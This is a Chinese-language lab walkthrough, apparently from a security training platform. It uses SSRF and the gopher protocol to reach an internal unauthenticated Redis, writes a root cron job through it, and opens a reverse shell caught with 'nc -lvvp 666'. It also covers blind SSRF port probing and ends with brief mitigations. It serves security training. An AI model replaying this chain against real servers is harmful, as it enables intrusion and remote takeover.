經過gopher協議攻擊Redis,若是內網中的Redis存在未受權訪問漏洞,當Redis服務以root權限運行時,利用gopher協議攻擊內網中的Redis,經過寫入定時任務能夠實現反彈shell。
1. SSRF簡介html
SSRF(Server-Side Request Forgery,服務端請求僞造),是攻擊者讓服務端發起構造的指定請求連接形成的漏洞。python
因爲存在防火牆的防禦,致使攻擊者沒法直接入侵內網;這時攻擊者能夠以服務器爲跳板發起一些網絡請求,從而攻擊內網的應用及獲取內網數據。linux
大都是因爲服務端提供了從其餘服務器獲取數據的功能,好比使用戶從指定的URL web應用獲取圖片、下載文件、讀取文件內容等。但又沒有對目標地址作嚴格過濾與限制,致使攻擊者能夠傳入任意的地址來讓後端服務器對其發送請求,並返回對該目標地址請求的數據。web
最多見的例子:攻擊者傳入一個未經驗證的URL,後端代碼直接請求這個URL,就會形成SSRF漏洞。redis
2. SSRF的類型shell
1)顯示對攻擊者的響應(basic):在服務器獲取攻擊者要求的URL後,把響應發送回攻擊者。數據庫
2)不顯示響應(blind):在服務器獲取攻擊者要求的URL後,不會把響應內容發送給攻擊者,須要經過查看服務器日誌判斷是否存在服務端請求僞造漏洞。後端
3. 拓展攻擊面瀏覽器
結合gopher協議攻擊內網FTP、Telnet、Redis、FastCGI、Memcache,也能夠進行get、post請求。安全
4. Redis簡介:https://redis.io/topics/protocol
5. Redis相關實驗:Redis數據庫安全實踐
經過該實驗瞭解SSRF漏洞的基礎知識及進階實踐。
操做系統:
CentOS:SSRF漏洞環境 + 模擬內網Redis服務;ip:10.1.1.100
Kali Linux:Redis服務 + 漏洞利用;ip:10.1.1.200
輔助工具:Mozilla Firefox、burpsuite
源碼請在實驗機內下載使用:http://tools.hetianlab.com/tools/T039.zip
咱們的任務分爲3個部分:
1.環境部署與Blind SSRF:經過觀察響應時間和響應狀態判斷指定端口是否打開。
2.CentOS機器開啓Redis服務,kali機器寫定時任務到CentOS機器中。
3.kali機器經過gopher協議攻擊CentOS機器Redis。
任務描述:搭建SSRF漏洞環境,瞭解Blind SSRF經過觀察響應時間和響應狀態判斷指定端口是否打開。
1. CentOS機器中進行SSRF漏洞環境搭建,詳見:SSRF漏洞分析與實踐
2. Kali機器用瀏覽器訪問 http://10.1.1.100/ssrf.html檢測環境是否搭建成功:
3. 火狐瀏覽器配置代理:瀏覽器搜索框輸入 about:preferences#general 進入配置選項,下拉到頁面最後,點擊settings進入network proxy選項,選擇Manual proxy configuration,輸入HTTP proxy爲127.0.0.1,端口port爲8080,點擊ok確認退出
打開linux終端輸入burpsuite,便可打開burpsuite抓包
4. 開啓抓包,在‘無回顯的SSRF’處輸入 http://127.0.0.1:22,點擊‘TEST IT’後,右鍵選擇Send to Repeater發送到重放模塊(快捷鍵 Ctrl+R)
點擊‘go’以後Response很快響應,表示CentOS機器22端口開啓。
5. 將IP改成10.1.1.12,從新點擊‘go’觀察Response的反應:
發現Response響應了一段時間纔有結果,表示10.1.1.12的IP地址未開啓22端口。
關於burpsuite詳細操做,詳見:Burpsuite簡介
任務描述:CentOS機器開啓Redis服務,kali機器寫定時任務到CentOS機器中。
1. Redis服務安裝時默認綁定IP爲127.0.0.1,此處不須要設置,查看Redis配置文件redis.conf:
# find / -name redis.conf
# vi /root/redis-5.0.4/redis.conf
2. CentOS機器開啓Redis服務:
# cd /usr/local/bin
# ./redis-server /root/redis-5.0.4/redis.conf
3. 查看kali機器的Redis版本:
# cd /usr/redis/
# ./redis-server –v
4. 啓動Redis服務器:
# ./redis-server
5. 另外開啓一個終端,測試啓動:
# cd /usr/redis/
# ./redis-cli ping
啓動成功。
6. 在kali機器寫一個redis反彈shell的bash腳本:
# vi shell.sh
保存退出;
在Redis的第0個數據庫中添加key爲1,名爲root的定時任務,value字段最後會多一個n是由於echo重定向最後會自帶一個換行符,位置爲CentOS機器的/var/spool/cron/,10.1.1.200爲獲取反彈shell的本地IP地址,666爲反彈shell的監聽端口,可隨意設置。
任務描述:經過gopher協議攻擊Redis,若是內網中的Redis存在未受權訪問漏洞,當Redis服務以root權限運行時,利用gopher協議攻擊內網中的Redis,經過寫入定時任務能夠實現反彈shell。
1. Kali機器另外開啓一個終端,使用socat進行端口轉發,獲取Redis攻擊的TCP數據包:
# socat -v tcp-listen:2333,fork tcp-connect:127.0.0.1:6379
將本地的2333端口轉發到Redis服務器的6379端口,訪問本地的2333端口實際上是訪問Redis服務器的6379端口。
2. 執行腳本:#bash shell.sh 127.0.0.1 2333
捕獲到的數據:
3. 利用腳本將數據轉換成適配於gopher協議的URL,轉換規則:
1)若是第一個字符是 > 或者 < ,則丟棄該行字符串,表示請求和返回的時間;
2)若是前三個字符是 +OK,則丟棄該行字符串,表示返回的字符串;
3)將\r字符替換成 %0d%0a;
4)將空白行替換成 %0a。
4. 下載實驗所需腳本:# wget http://tools.hetianlab.com/tools/T039.zip
5. 先將socat獲取的數據保存爲socat.log文件,而後執行腳本進行數據轉換:
# vi socat.log
將socat捕獲的數據粘貼到socat.log中(終端沒法複製粘貼能夠在文件管理器中進行操做):
保存文件。
# python tran2gopher.py socat.log
6. nc開啓監聽:
# nc -lvvp 666
7. 攻擊CentOS機器的Redis服務:
在‘有回顯的SSRF’處輸入gopher://127.0.0.1:6379/_+數據轉換的內容:
點擊‘TEST IT’後查看監聽結果:
成功獲取反彈shell。
在瀏覽器的‘SEE THE RESULT’處也能夠看到定時任務寫入成功:
1.限制協議爲HTTP、HTTPS;
2.禁止30x跳轉;
3.設置URL白名單或限制內網IP。